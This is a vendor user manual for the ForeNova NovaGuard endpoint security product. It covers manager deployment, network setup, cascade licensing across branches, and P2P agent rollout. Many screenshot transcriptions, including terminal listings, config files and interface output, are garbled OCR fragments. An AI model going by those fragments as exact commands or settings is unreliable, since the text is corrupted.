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Intended Audience

This document is intended for:

e Allusers

Note Icons

A Indicates an imminently hazardous situation which, if not avoided, will
/4% DANGER

result in death or serious injury.

Indicates a potentially hazardous situation which, if not avoided, could

’ A.WARN ING

result in death or serious injury.

A Indicates a hazardous situation, which if not avoided, could result in

minor or moderate injury.

\ Indicates a hazardous situation, which if not avoided, could result in
A NOTICE

settings failing to take effect, equipment damage, or data loss.

NOTICE addresses practices not related to personal injury.

- Calls attention to important information, best practices, and tips.
LLINoTE

NOTE addresses information not related to personal injury or

equipment damage.

Change Log

Mar. 20, 2025 This is the first release of this document.
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1 Product Introduction

ForeNova NovaGuard consists of the NovaGuard manager and the

NovaGuard agent.

The NovaGuard manager supports unified endpoint asset management,
security, and compliance checks. It collects endpoint behavioral data at the
system and application layers, reports collected data to the platform locally for
comprehensive correlation analysis and accurate attack prediction, and depicts
attacks by visualizing the attack process chain. Its threat-hunting feature
precisely defends all endpoints against residual attacks based on extensive
collected data. Its micro-segmentation feature offers centralized management

of access control policies and one-click segmentation of security events.

The NovaGuard agent provides antivirus protection, intrusion defense, firewall

isolation, data collection and reporting, and one-click security event handling.

1.1 Product Overview

NovaGuard supports on-premises deployment, where the NovaGuard manager
is deployed on Linux servers for centralized management of NovaGuard
agents. The NovaGuard manager collaborates with the ForeNova security cloud
over the Internet, whereas the NovaGuard agent on each endpoint connects to
NovaGuard over an internal network. It provides accurate security intelligence
and solutions to local endpoint users, with data encrypted during

communication. The deployment is shown in the following figure.
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NovaGuard offers pre-event, during-event, and post-event services based on its

four capabilities: discovery, detection, defense, and response.
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Discovery: Provides pre-event risk assessment capabilities, including
fingerprint-based asset inventory, shadow asset discovery, vulnerability patch
management, security compliance check, exposure surface analysis,
application/system/account risk assessment, security enhancement, USB

device control.

Detection: Provides threat detection capabilities, including funnel-style
detection, Al-powered ForeNova Engine Zero, ransomware defense, advanced
threat prevention, application behavioral profiling, and abnormal behavior

identification.

Defense: Provides defense capabilities, including secondary authentication,
micro-segmentation, virtual patching, vulnerability remediation, and automatic

fix of viruses, ransomware, web shells, and brute-force attacks.

Response: Provides fundamental response capabilities, including process,
DNS, IP address blocking, and file and host isolation. Integrate NovaGuard with
other network security products, offering capabilities such as closed-loop
threat fix, threat investigation, attack tracing, defense enhancement, and

threat hunting.

2 Installation and Deployment
2.1 NovaGuard Manager Deployment

2.1.1 Software Deployment

You can implement software deployment for the NovaGuard manager in three
ways: OVA image-based, ISO image-based, and script-based. Their scenarios

are as follows.

1. OVA image-based deployment: Applicable to scenarios involving
virtualization platforms such as VMware and ForeNova Hyper-Converged
Infrastructure (HCI).

2. 1SO image-based deployment: Applicable to scenarios involving physical

servers or virtualization platforms.
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3. Script-based deployment: Applicable to environments that do not

support OVA and ISO image-based deployment.

Recommendations and differences:

1. Strongly recommended: OVA image-based deployment. As the OVA
package contains the NovaGuard manager and the underlying Ubuntu
system, you can directly use the NovaGuard manager after importing the
OVA package. The NovaGuard manager and the underlying Ubuntu
system are installed after deployment.

2. Recommended: ISO image-based deployment. The ISO package
contains the NovaGuard manager and the underlying Ubuntu system.
After installing the I1SO package using a CD/DVD drive, USB device, or disk,
the Ubuntu system is first installed, followed by the installation of the
NovaGuard manager. This method takes longer than OVA image-based
deployment and is recommended for environments not supporting OVA
image-based deployment. The NovaGuard manager and the
underlying Ubuntu system are installed after deployment.

3. Not recommended: Script-based deployment. This method will be
phased out in future versions. Avoid using it whenever possible. This
method applies to scenarios not supporting OVA and ISO image-based
deployment. If the customer wants to adopt this method, apply for a
special installation package containing only the NovaGuard manager.
Since the underlying operating system is from the customer, the
deployment may fail due to missing dependencies, missing drivers, or
version incompatibility. The NovaGuard manager is installed after the

deployment.

2.1.1.1 Installation Package Download

Download URL: Please ask your ForeNova contact for the details

LLNoTE

1. For OVA image-based deployment, download the OVA installation package.

2. For ISO image-based deployment, download the ISO installation package.
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3. Download the NovaGuard upgrade package of the corresponding architecture for version

upgrade.

2.1.1.2 OVA Image-Based Deployment

LLNoTE

1.The following procedure is based on a VMWare / Proxmox, which is an example for your

reference when using other virtualization platforms.

2.When creating a virtual machine, please allocate a network card in advance. Otherwise,

the installation will fail.

Steps
Step 1. Import the Open Virtual Appliance (OVA) template.

During the image import process, the console will display the installation
progress.The deployment finishes after the import is complete, without the

need to perform additional operations.

H L S S e S S
e , Curren

5] Unable
'k inter

ACH AR ROR HOR AR K
HERRBERR IR
allation

Step 2. Configure network settings.

1. Login to the web console of the NovaGuard manager, press Alt+F9 to go
to the IP address configuration page, select Set Management IP Address,

and click OK, as shown in the following figure.
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IP Setup
1. Press Alt+F1: CLI Console
2. Press ALt+F9: IP Setup

| Bcet Management IP Address)
2 Show Current Setting

AT <cancel>

2. Enter the password of the admin account, and click OK. The default

account and password both are "admin".

IP Setup
Enter the login password for the admin account
of the web console (initital password: admin)

C

AT <cancels

3. Configure the corresponding IP address, subnet mask, and gateway IP

address as instructed, and save the configurations.
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IP Setup
Tips:
1.Press tab: OK/Cancel
2.Double-click esc: Exit

Device: ensig

*IP
*Mask
GateWay

£ 0K > <Cancel>

Submit Confirm
Are you sure to set the IP Address?

Device ensig
10.186.3.12
255.255.0.0
10.186.254.254

< Ng >

IP Setup
IP address configured
successfully.

Step 3. Configure the DNS network.

LLINOTE

Supported browsers include Internet Explorer 10 and later, Firefox, Google Chrome, 360,

and Microsoft Edge.

1. Based on the modified IP information, log in to the EPP manager
(https://x.x.x.x). The default account is "admin" and the default password
is "admin".

2. Go to System > System > Network > Interfaces, and specify the IP
address configured for the management interface of the NovaGuard

manager, as shown in the following figure.

Interfaces  Routing  Advanced

1P Address Status

10741024324 v

Version 02 (Jul. 18, 2025) 15



NovaGuard_V6.0.4R4_User Manual

3. Configure DNS servers.

Go to System > System > Network > Advanced, and configure a preferred

DNS server and an alternate DNS server, as shown in the following figure.
Network Interfaces Routing Domain Connectivity Tests Advanced

| SSH Service

Port 22 ®

DNS Server

Preferred DNS

Alternate DNS

LlNoTE

The NovaGuard manager requires DNS servers to resolve domain names for antivirus

database updates.

Step 4. Configure routing information.

Go to System > System > Network > Routing, and configure a route, as
shown in the following figure.

Network  Interfaces  Routing ~ Domain Connectivity Tests ~ Advanced

“ il

No. Dst 1P Netmask Next-Hop 1P Operation

InoTE

The NovaGuard manager requires a route to connect to the Internet and communicate with

endpoints.

2.1.1.3 ISO Image-Based Deployment

Step 1. Prepare for the installation.
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For installation on physical servers, use software such as UltralSO to burn the
ISO template to a blank USB device or DVD. For installation on virtual

machines, directly import the ISO image or mount a disk first.

Step 2. Install the NovaGuard manager.

During the image import process, the console will display the installation
progress.The deployment finishes after the import is complete, without

additional operations.

S guest ttyl

RERRRREERERARRR R Y
e installation package

-04 16:45:19 [step

S

HERRRRR AR

GR_INSTALL [6654] : Deploying the installation pac

Unahle
rk inter

1] HORHOKRHORHOK HOKHORHOICR HCHOIORIOK
D ORHERARRRRR AR R R
: Deploying the installation p

shokARRCRACKAOK

You do not need to log in to the server as the root user. If you have special

requirements, call +60 12711 7129 (7511) to obtain the root password.

Step 3. Configure network settings.

Refer to Step 2 in Chapter 2.2.1.2 "OVA Image-Based Deployment".

Version 02 (Jul. 18, 2025) 17



NovaGuard_V6.0.4R4_User Manual

2.1.1.4 Script-Based Deployment

LONoTE

Prioritize OVA and ISO images for the NovaGuard manager deployment and use script-
based deployment only in environments that do not support OVA/ISO image-based

deployment.

Before script-based deployment, prepare a server, install a compatible
operating system on the server, configure network settings (including the
server IP address, routing information, gateway, and DNS servers) for the

server, and test the network connectivity of the server.

Step 1. Upload the installation package.

Upload the installation package (with the extension .pkg) and the installation
script (with the extension .sh) to the same directory on the server, verify the
MD5 checksum after the upload is complete to ensure package integrity and
run the chmod u+x manager_deploy.sh command to make the installation

script executable.

InoTE
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Packages whose name includes "offline" indicate offline installation packages. Select an

offline NovaGuard installation package based on your operating system and architecture.

SrWXr=Xr-x 1 cgy cgy 220 48 15 2020 .bas .

SrWAr-Xr=x 1 cgy cgy 3854 68 22 2022 .bas =

drwxr-xr-x 13 cgy cgy 4096 48 21 15:47 .cache/

drwxr-xr-x 15 cgy cay 4096 S8 5 66:68 .config/

drwxr-xr-x 3 cgy cgy 4096 48 20 06:05 .dbus/

-rwxr-xr-x 1 cgy cgy 4428410880 SH 5 @6:28[fon . F
drwxr-xr-x 3 cgy cgy 4096 45 20 €6:05 .gnupa/

~rwxr-xr-x 1 cgy cgy 417 58 5 986:02 eelrce

drwxr-xr-x 3 cgy cgy 4096 48 20 06:05 .localy

drwxr-xr-x 2 cgy cgy 4096 58 5 083:24 .loa/

srwxr-xr-x 1 cgy cgy 31967 58 5 01:57| ] ploy -
W= - === 1 root root 6 58 5 ©7:03 nohup.out

drwxr-xr-x 3 cgy cgy 4096 48 21 15:56 .pki/

drwxr-xr-x 2 cgy cgy 4096 48 28 86:05 .presage/

-rwxr-xr-x 1 cgy cgy 8e7 48 15 2020 *

drwxr-xr-x 3 cgy cgy 4096 5H 5 86:02 .sangfor/

drwxr-xr-x 2 cgy cgy 4996 4H 28 €9:52 .sogoulnput/

~rwxr-xr-x 1 cgy cgy 8 48 20 66:48 15_a : *
drwxr-xr-x 2 cgy cgy 4696 4ﬁ 26 11:21 thinclient drives/
-rwxr-xr-x 1 cgy cgy 25 4 20 86:15 .ukul 15ave faul .
drwxr-xr-x 2 cgy <gy 4096 48 26 12:09 _vnc/

~W====e== 1 cgy c<gy 219 58 5 §7:58 .Xauthority

-rwir-xr-x 1 cgy cgy 20106 S5H 5 083:24 ! .
-rwXr-xr-x 1 cgy <gy 17418 58 4 86:06 X L old®
-rwaAr-%r-x 1 cgy cgy 22018 5H 4 81:32 .« 11 *
-rwxr-xr-x 1 cgy cgy 18759 48 26 12:48 .worgure 4
-rWXT-Xr-x 1 cgy cgy 40 58 5 83:29 rees®

-rwxr-xr-x 1 cgy cgy 13 6§ 22 2022 -

srwxr-xr-x 1 cgy cgy 42029 SH S 07:04 | x ; .
-rWAr-Xr-x 1 cgy cgy 153055 58 5 93:24 .xsessi r .
root@cgy-bochs: fhome/cqy# {m-dSsum manager deploy EDRZ.?.z.sh]
f13pag7affbddl21884b7cBblécdccas manager deploy EDR3.7.2.sh
root@cgy-bochs: /home/cgy#| mdSsum EDR3.7.2 x86 64 offline (20238322) .pkg
11391691b3?010496c05lde29g;;;;;;::;;;;f;;;;;:EjE1TETTTTEE‘T!EI!BB?!T‘TEEL

Step 2. Run the installation script.

Run the installation script by using the following command. Replace the

package name and keep 127.0.0.2 unchanged:

./manager_deploy.sh package_name.pkg 127.0.0.2

root@cqgy-bochs: /home/cay# [./manager deploy EDR3.7.2.sh EDR3.7.2 x86 64 offline ( |
56230322) .pkg 127.0.0.2

WARN: Shared memory 'Bxlee6481b' has been used, clean.

pDeploying EDR3.7.2 x86 64 offline (28238322) .pkg into /sf/edr/manager ...

The installation is complete once the prompt "Deploy XXX.pkg OK" appears.

start generate keys

Update default brand start.

logs to /sf/edr/manager/var/log/agent brand pack tool/agent brand pack tool.log
logs to /sf/edr/manager/var/log/agent_brand_pack_tool/agent_brand pack_tool.log
Update default brand success.

uid=3454(sfuser) gid=3454(sfuser) 3454(sfuser)

logs to /sf/edr/manager/var/log/sfeupdrule/sfeupdrule.log

Deploy EDR3.7.2 x86 64 offline (20230322) .pkg OK |

root@cgy-bochs:/home/cgy# systemctl status ssh

Step 3. Configure network settings.
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Network settings vary with the underlying operating systems and system
versions. The following examples demonstrate how to configure interfaces and

restart services on common operating systems.

Linux: vi /etc/sysconfig/network-scripts/ifcfg-XXX, systemctl restart

network.service

Ubuntu: vi /etc/netplan/XX-network-manager-all.yaml, netplan apply

Example 1: Linux

Check the interface information and find the management interface eth0.

ate UNKNOWN group default glen 1600

128 scope host
1ft forever preferred_lft forever
isc mg state UP group default glen 1loe0

ope.global noprefixroute etho

er preferred_1ft forever
3214:2725: 164 /64 scope link noprefixroute
id_1ft forever pre & r
root@lo st.localdomain:[/root]vi /fetc config/network-scripts/ifcfg-ethe| i

Open the configuration file of eth0. Set BOOTPROTO to static, set ONBOOT to
yes to start the interface at boot time, and specify network settings (IPADDR,
NETMASK, GATEWAY, and DNS). After the modifications, press ESC, type
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":wq", and then press Enter to quit the file.

UYPE=Ethernet

PROXY METHOD=non

BROWSER_ONLY=nc

BOOTPROTO=Sstat1ic

DEFROUTE=yes

IPV4 FATLURE FATAL=nC
IPV6INIT=yes

IPVG HI_JTCI.DNF—"

IPVE DEFROUTE=yes

IPVGE FATLURE FATHL—"

IPV6 ADDR_GEN MODE=stable-privacy
NAME=eth@
UUID=a5a294f9-4a61-4adb-8e8b-35175fdcale2
DEVIC

NETMASK
GATEWAY=1
DNS=E
DN51=11

Run systemctl restart network or service network restart to restart the

network service for the interface configurations to take effect.

root@localhost.localdomain:[/root]service network restart

root@localhost.localdomain:[/root]systemct]l restart network
Run ifconfig to check the interface configurations.

host.localdomain:[/root]ifcor
Link encap: Ethernet Huaddr
inet addr:18.243 ] Mask :255.255.0.0
inet6 addr: feu- o 41 : Scope:Link
Metric:1
dropped 4 overruns:0@ frame:@
dropped:8 overruns:@ carrier:g

TX bytes:6124351127 (5.7 GiB)

Link encap: L0c=ﬂ Loupbacl-
inet addr: :
inet6é addr: ::
|JP LDDP‘BA" LR fTU: 65 Metric:1
36 ; errors dropped:0 overrun frame:0
8 dropped:0 overruns:@ carrier:@

S 8 txqueuelen:1
RX b\.«t s:64713 )9 (60.2 GiB) TX bytes:64713653999 (60.2 GiB)

root@localhost.localdomain:[/root ]l
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Example 2: Ubuntu

Check the interface information and find the management interface ens18.

N group default glen 1@00

root@guest:~# vi fetc/netplan/00-1 aller-config.yaml

LLNoTE

The number in the preceding command may vary with the environment. Go to the directory

/etc/netplan/ for the accurate file name.

root@guest:~# cd fetc/netplan/
rootldgue~ Jetc/netplan# L1

2 root root

185 root root 122!

-rw-r--r-- 1 root root
root@guest: /etc/netplan# I

Modify the network settings, including addresses (IP address and subnet

mask), gateway4 (gateway), and nameservers (DNS servers). After the
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modifications, press ESC and type ":wq" to quit the file.

Run netplan apply to restart the network service for the interface

configurations to take effect.

root@guest: /etc/netplan# netplan apply
Run ifconfig to check the interface configurations.

root@guest:/ metplan# ifconfig
ens18: flags=4 P,BROADCAST ,RUNNIMNG,MULTICAST= mtu 1500
inet 16 2 netmask : 255.0.0 broadcast :
inet6é fe :feff:felf:15dd prefixlen 64 scopeid Ox
ether fe F:15:dd  txgueuelen 10 (Ethernet)
(714.2 MB)
opped 43 ov frame @
678 bytes 1 (5.0 GB)

s B dropped 0 overrun carrier 8 collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING
inet 8.8.1 netma
' prefixlen

614 (18.
dropped @8 overruns frame @
99 62 bytes 18 56614 (18.2 GB)
0 dropped © overruns @ carrier @ collisions @
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2.1.2 Cascade Deployment

Scenarios

For example, a group company with headquarters and multiple branches has
over 10,000 endpoints. You can deploy NovaGuard at headquarters and
branches for endpoint management. It enables the headquarters to centrally
and dynamically allocate licenses to or revoke licenses from the branches. It
allows a higher-level NovaGuard manager to view the security status and

connected endpoints of a lower-level NovaGuard manager.

Cascade deployment supports up to three levels, and each NovaGuard can
connect to up to 20 NovaGuard managers. The following figure shows a

cascade NovaGuard environment.

NovaGuard Cascade

Q

Three
l:'velj
cascading

CARCERCEREERC IR C IR C)

\ r )

Maximum 20 Nodes
OO OQ OO < OO OO OO

Y
Maximum 20 Nodes

Deployment requirements:
Cascade deployment requirements are as follows.

1. Deploy the NovaGuard manager at both the headquarters and branches.

2. Activate all licenses for headquarters NovaGuard and allocate licenses
from headquarters NovaGuard to branch NovaGuard.

3. Evaluate the number of licenses each branch needs based on the number

of PCs and servers.

Cascade configuration:
1. Deploy the NovaGuard manager at both the headquarters and
branches.

Select servers for the headquarters and branches based on their endpoint

quantities and deploy the NovaGuard manager on these servers.
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2. Activate headquarters NovaGuard.

Activate all licenses for headquarters NovaGuard and allocate licenses from
headquarters NovaGuard to branch NovaGuard.

3. Generate a connection key on the branch NovaGuard manager.

Log in to a lower-level NovaGuard manager, go to System > Branches >

Branches, and click Connection Key, as shown in the following figure.

Branch Monitor  Branches

- 88

Avaiatie Endpoirts

Priman Narager P adorase Lcensing ode @ ConnectediaxEncporrts Lastomees Operatin

Enter the current account's password, and click Generate, as shown in the

following figure.
Message X
For security, please enter the password the current account

password.

Password csssceesenee

Local IP Address for Branch Connection

IP Address 10.74.10.203 v

Click Copy to copy the connection key to a higher-level NovaGuard manager

to complete the connection process.
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Message X
A Eopiration Time: 2023-10-16 11:38. Each key can only be used once

Local IP Address for Branch Connection

IPAddress® | 107410243 M

Connection Key

323735323R313732353531 TCR1R4BDRARET C454452TC4544527C36
2E302E32454E5F306366643706434327C31 302E37342E3130322E343
37CERSDTCAREDTCTE226CEIBEEBEFTATIT065223A31 2022046576
BARIRESFAOR42234223032643034 36326 5RRA2 3065 36A336A 1 336565
GEE1ESET 386530363530363230227D7C33383544423045434130444
6423730343333443035324632364544 354445384 3303033433430343
(0334430453741 30453541454 2374331 3030384634383145364532374
4343842343241303841433544374 34439333044 3364 238433531333
93334393532423635304436303833464646333935373038443230454
4414444367 CA1 30303041 44453744434142364333303731323133424
43630453532383343413041323A323246433137443641333A3843303
735454346363038303435444535453043454632374 5464139434 3454
232304330394639354545424 245463637 38314635304344363233433
6423531 343635324638463T45303345453035323T48TCEA34TC3434
337C

Copy the connection key to the prirmary manager to complete the connection
process

Close

4. Enable the Secure Shell (SSH) service for the branch NovaGuard
manager.

Log in to a lower-level NovaGuard manager, go to System > System >

Network > Advanced, and check Enable in SSH Service, as shown in the

following figure.

Network Interfaces Routing Domain Connectivity Tests Advanced

| SSH Service

Enable
Port 22 ®
| DNS Server
med DNS
@®

Alternate DNS
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5. Connect the branch NovaGuard manager to the headquarters
NovaGuard manager.
Log in to a higher-level NovaGuard manager, go to System > Branches >

Branches, and click Add Branch Manager, as shown in the following figure.

Add Branch Manager X
*Branch Name : branch
*|IP Address : 10.74.40.49
*Port : 443
*SSH Port @ : 22
*SSH Account @ : root
*SSH Password @ : I

_ Y34304441444033413032393/4143423330403145424230
Branch Connection Key : 42314432323134333844333642304434423546393745303
13231353733374436463735363445463831343030434339

7C56347C3434337C

How to Obtain Connection Key?

Remarks : Remarks

Test Connectivity “ Cancel

Specify the branch name, IP address, port, SSH port, administrator account

username and password, and branch connection key, and click OK, as shown in

the following figure.
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Message X

To ensure security of the connected branch manager, please enter the
password of the current account.

Password :

Enter the password of the current account, and click OK. Then, you can see the

added branch NovaGuard manager, as shown in the following figure.

Branches Branch Monitor Branches

26

Available Endpoints

Refresh

No. Branch Name Primary Manager IP Address Licensing Mode @ Used/Max Licenses Last Synced Operation

The Branches page includes the Branch Name, IP Address, Licensing Mode,

Connected/Max Endpoints, Last Synced, and Operation columns.

Licensing Mode: There are two licensing modes for lower-level NovaGuard
managers in cascade deployment scenarios: standalone licensing and
cascade licensing. In standalone licensing mode, lower-level NovaGuard
managers have independent licenses, which the relevant higher-level
NovaGuard manager cannot adjust dynamically. In cascade licensing mode,
licenses of lower-level NovaGuard managers are allocated by the relevant
higher-level NovaGuard manager, and the high-level NovaGuard manager can

adjust these licenses dynamically according to actual needs.

Connected/Max Endpoints: The number of connected endpoints and the

maximum number of endpoints allowed on lower-level NovaGuard managers.
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6. Allocate licenses from headquarters NovaGuard to branch

NovaGuard.

Evaluate the number of licenses each branch needs and allocate licenses from

headquarters NovaGuard to branch NovaGuard.

Go to System > Branches > Branches, as shown in the following figure.

Branches  Branch Monitor ~ Branches

= 27

Available Endpoints

Add Branch Manager  Connection Key |~ SyncData  Refresh

No. Branch Name Primary Manager 1P Address Licensing Mode ®  Used/Max Licenses Last Synced Operation

1 branch Local Manager 10.74.40.49 Cascade Licensing n 20250711 16:02:41 Edit  Delete  Sync

Select a branch, and click Adjust Licensing to go to the Adjust Licensing page,

as shown in the following figure.

Adjust Licensing X

Select a licensing mode for branch managers:

Standalone Licensing Cascade Licensing
° Each branch manager has its own Licenses for branch managers are
license which is not managed by the @ managed by the local manager. Any
local manager but by the branch time remaining on the original license
manager itself. of the branch manager will be
suspended.
Endpoint Licenses of the Branch
B 3130 G 27 day(s)
Used/Max Licenses Remaining Days for Used Licenses

You can select Standalone Licensing or Cascade Licensing as the licensing
mode of the lower-level NovaGuard manager. In standalone licensing mode,
lower-level NovaGuard managers have independent licenses, which the
relevant higher-level NovaGuard manager cannot adjust dynamically. In this
example, select Cascade Licensing, and then specify the maximum number of

endpoints and servers and the license period for the lower-level NovaGuard
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manager.

Adjust Licensing X

Select a licensing mode for branch managers:

Standalone Licensing Cascade Licensing

@ Each branch manager has its own Licenses for branch managers are
license which is not managed by the ° managed by the local manager. Any
local manager but by the branch time remaining on the original license
manager itself. of the branch manager will be

suspended.

Adjust Endpoint Licensing (Used licenses: 3)

Max Licenses: =1 +

After you adjust cascade licensing successfully, the following page appears.

Branches  Branch Monitor  Branches

27

Available Endpoints
Add Branch Manager  Connection Key ~ SyncData  Refresh

No. Branch Name Primary Manager 1P Address LicensingMode @ Used/Max Licenses Last Synced Operation

1 branch Local Manager 1074.40.49 Cascade Licensing ~ 1/1 2025.07-11 16:02:41 Edt = Delele Sync  Adjust Licensing

7. Install the NovaGuard agent at both the headquarters and branches.

The effect of the Cascade deployment:

1. View the security status of a lower-level NovaGuard manager.
Go to System > Branches > Branch Monitor, and move the pointer over the
icon of a lower-level NovaGuard manager to view its security status or click

Visit Branch Manager to go to its login page, as shown in the following figure.
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Branches Branch Monitor Branches
® Local Manager
0/
0/
@ Compromised: 1
H
Low: 0
@ Quarantined : 0
branch OF ® Onine: 2
Local Manager

"

)
2. View the connected endpoints of a lower-level NovaGuard manager.
Go to Endpoints > Endpoint Groups, as shown in the following figure.
) NovaGuard ‘ ‘ .

Endpoint Group
Groups New More All Assets (5 online / 5 in total) New Features
TR [a]
B AnAssets No.  Endpoint Name Endpoint Type  Agent Status Group IPAddress  MACAddress  OS CPU Usage Memory Usage Disk Usage © Disk Parttion St
rc Ungrope.. 1013192 FAIGIESC.  Windows 10Pr. + fm—NN  m— 0T
E—

2. Implement cascade licensing.

Cascade licensing is suitable for scenarios where a certain number of licenses

need to be allocated and revoked dynamically across branches.

After activating a certain number of licenses for a higher-level NovaGuard
manager without activating any license for lower-level NovaGuard managers,
you can allocate licenses to or revoke licenses from lower-level NovaGuard

managers on the higher-level NovaGuard manager.
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Go to System > Branches > Branches, as shown in the following figure.

Branches  Branch Monitor  Branches

@ 27

Available Endpoints

Ad Branch Manager | ComnectionKey | SyncData  Refresh
No. Branch Name Primary Manager 1P Address LicensingMode @  Used/Max Licenses Last Synced Operation

1 branch Local Manager 10744049 Cascade Licensing  1/1 2025.07-11 16:02:41 Edit = Delete  Sync  Adjust Licensing

Select a branch, and click Adjust Licensing to go to the Adjust Licensing page,

as shown in the following figure.

Adjust Licensing X

Select a licensing mode for branch managers:

Standalone Licensing Cascade Licensing
Each branch manager has its own Licenses for branch managers are
license which is not managed by the @ managed by the local manager. Any
local manager but by the branch time remaining on the original license
manager iself. of the branch manager will be
suspended.
Endpoint Licenses of the Branch
& 0/30 6 27 day(s)
Used/Max Licenses Remaining Days for Used Licenses

You can select Standalone Licensing or Cascade Licensing as the licensing
mode of the lower-level NovaGuard manager. In standalone licensing mode,
lower-level NovaGuard managers have independent licenses, which the
relevant higher-level NovaGuard manager cannot adjust dynamically. In this
example, select Cascade Licensing, and then specify the maximum number of
PCs and servers and the license period for the lower-level NovaGuard

manager.
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Adjust Licensing X

Select a licensing mode for branch managers:

Standalone Licensing Cascade Licensing

@ Each branch manager has its own Licenses for branch managers are
license which is not managed by the managed by the local manager. Any
local manager but by the branch fime remaining on the original ficense

manager itself. of the branch manager will be
suspended.

Adjust Endpoint Licensing (Used licenses: 1)

Before Adjustment; After Adjustment:
Max Licenses: 1 Max Licenses:
= 10 +

After you adjust cascade licensing successfully, the following page appears.

Branches  Branch Monitor  Branches

2

Available Endpoints

Add Branch Manager  ConnectionKey ~ SyncData  Refresh
No. Branch Name Primary Manager IP Address Licensing Mode @ Used/Max Licenses Last Synced Operation

1 branch Local Manager 1074.40.49 Cascade Licensing 2025.07-11 16:16:57 Edit  Delete = Sync | AdjustLicensing

3. Go to alower-level NovaGuard manager from the higher-level
NovaGuard manager for management operations.

As shown in the following figure, you can go to the management page for a

lower-level NovaGuard manager by clicking Visit Branch Manager on the

Branch Monitor tab of the relevant higher-level NovaGuard manager.
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Branches  Branch Monitor  Branches

® Local Manager

LONoTE

1. If the updated number of licenses for a lower-level NovaGuard manager is smaller than

the number of connected PCs and servers, excess licenses are revoked in the following

order: disabled endpoints > offline endpoints > online endpoints.

2. Endpoints in Endpoint Groups whose status is Not Licensed or Agent Uninstalled do

not consume licenses.

3. In cascade licensing scenarios, you need to activate licenses for a higher-level NovaGuard
manager. Then, you can dynamically adjust licenses for lower-level NovaGuard managers on

the higher-level NovaGuard manager node.

2.2 Product Activation

After the deployment of the NovaGuard manager, activate NovaGuard before
installing the NovaGuard agent. This section describes how to activate official

and trial licenses for NovaGuard.

2.2.1 On-Premises NovaGuard Activation

Please contact your local sales or technical team to help activate your product.

2.2.2 Saas NovaGuard Activation

Please contact your local sales or technical team to help activate your product

if you are using Saas NovaGuard.
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2.3 NovaGuard Agent Deployment

You can deploy the NovaGuard agent on Windows, Linux, or macOS endpoints.
Other than macQOS endpoints, the rest supports P2P NovaGuard agent

deployment.

2.3.1 P2P Deployment

2.3.1.1 Feature Description

P2P deployment allows you to download the NovaGuard agent in parts from
multiple seed nodes that have the NovaGuard agent installed. Compared to
the previous single-channel NovaGuard agent download from the NovaGuard
manager, this deployment method accelerates installation and upgrade and
reduces the bandwidth usage of the NovaGuard manager. P2P deployment is
disabled by default. However, it is recommended to enable P2P deployment
and use it in combination with the installation methods described in the

subsequent sections.

Go to System > System > Deployment and Upgrade, and select Enable P2P

for installation and upgrade, as shown in the following figure.

The manager cannot connect to the SP update server, which may cause security risks. Please fixitimmediately.  Configure Proxy Serve
Deployment and Upgrade
| Agent and Database Update
Auto Update (¥ (®) All endpoints automatically update the agent, signature database, and vulnerability database

Some endpoints automatically update the agent, signature database, and vulnerabillty database

No endpoint automatically updates the agent, signature database, and vulnerability database
Cencurrent Update @ No fimit on number of endpoints

@® Atmost 5 endpoini(s) can automatically update the agent, signature database, and vulnerabilty database

| vuinerability Update
Auto Update Manual Update
@ AutoUpdate  Everyday ™ | 0200 v 1o 0500 =
| P2P Settings
Peer-to-peer networking speeds up installation and upgrade, improving e
Enable P2P for installation and upgrade

Non-distribution Endpoints

Non-distribution Endpoints: Seed nodes will enable the HTTP service to
provide multipart downloads. Select the endpoints you do not want to use as

seed nodes for this field.
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Download resources from ForeNova server first: By default, endpoints
download resources from the NovaGuard manager when there are no
distribution endpoints. Once enabled, endpoints download resources from the
ForeNova server (CDN cache) first when they have Internet access and
download resources from the NovaGuard manager when there is no Internet

access.

Excluded IP Addresses: Exclude endpoints directly communicating with the
NovaGuard manager to avoid business interruption caused by excessive

Internet bandwidth usage during NovaGuard agent deployment or upgrade.

InoTE

1. P2P deployment is not supported in scenarios where the NovaGuard manager is exposed

to the Internet through port mapping.

2. P2P deployment is supported on Windows and Linux endpoints but not on Mac

endpoints.

3. P2P deployment is supported for NovaGuard agent installation, NovaGuard agent

upgrade, and antivirus database update.

2.3.1.2 Scenarios

Scenario 1: The network bandwidth between the NovaGuard manager
and NovaGuard agent is insufficient, and the bandwidth of the egress

interface for Internet access is also insufficient.

Policy for NovaGuard agent: Update the NovaGuard agent and databases
based on P2P deployment to reduce the bandwidth usage between the
NovaGuard manager and the office network. Implement this policy first on

non-critical business endpoints and then on critical business endpoints.

Policy settings for the NovaGuard manager:

1. Do not select Download resources from the ForeNova server first.

2. Select critical business endpoints for Non-distribution Endpoints.
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|
|
|
: Cloud Server
|

Y

PC2-Without ...PCx-Without
PC1-Agent Installed e
w Agent Installed Agent Installed
———————P7P torrent network data flow

———Agent management traffic
—T)3{abase/Agent upgrade or update traffic

e e o s

Establishment of a seed node network for P2P deployment:

1. PC1: Obtains the databases and upgrade package of the NovaGuard agent
from the NovaGuard manager during the installation of NovaGuard.

2. PC1:Sends arequest to the NovaGuard manager to become a seed node
after the installation. NovaGuard manager: Adds PC 1 to the seed node
list.

3. PC2: Checks with the NovaGuard manager to determine whether seed
nodes are in the seed node list during the installation of NovaGuard.

4. NovaGuard manager: Queries the seed node list. If a seed node is in the
same network segment (such as PC 1), the NovaGuard manager pushes
down the P2P policy for PC 2 to download resources from PC 1.

5. PC2: Downloads the databases and the upgrade package from PC 1 after

receiving the P2P policy, starts the installation, and repeats Step 2.
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Scenario 2: The bandwidth of the dedicated network or VPN between the

headquarters and a branch is insufficient, but the bandwidth of the

egress interface for Internet access at the branch is sufficient.

Policy for the NovaGuard agent: Update the NovaGuard agent and databases

based on P2P deployment to reduce the bandwidth usage between the
headquarters and the branch. Implement this policy first on non-critical

business endpoints and then on critical business endpoints.

Policy settings for the NovaGuard manager:

1. Do not check Download resources from ForeNova server first.

2. Specify critical business endpoints for Excluded IP Addresses to avoid
business interruption caused by excessive Internet bandwidth usage
during NovaGuard agent upgrade.

3. Select critical business endpoints for Non-distribution Endpoints.
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Download
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server first
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PC2-Without -.PCx-Without

Instiiled Agent Installed Agent Installed

——P72P torrent network data flow
Agent management traffic
m—{ 3t aDase/ Agent upgrade or update traffic

ey

Establishment of a seed node network for P2P deployment:

1. PC1: Obtains the databases and upgrade package of the NovaGuard agent
from the ForeNova server during the installation of NovaGuard.

2. PC1:Sends arequest to the NovaGuard manager to become a seed node
after the installation. NovaGuard manager: Adds PC 1 to the seed node
list.

3. PC2: Checks with the NovaGuard manager to determine whether seed
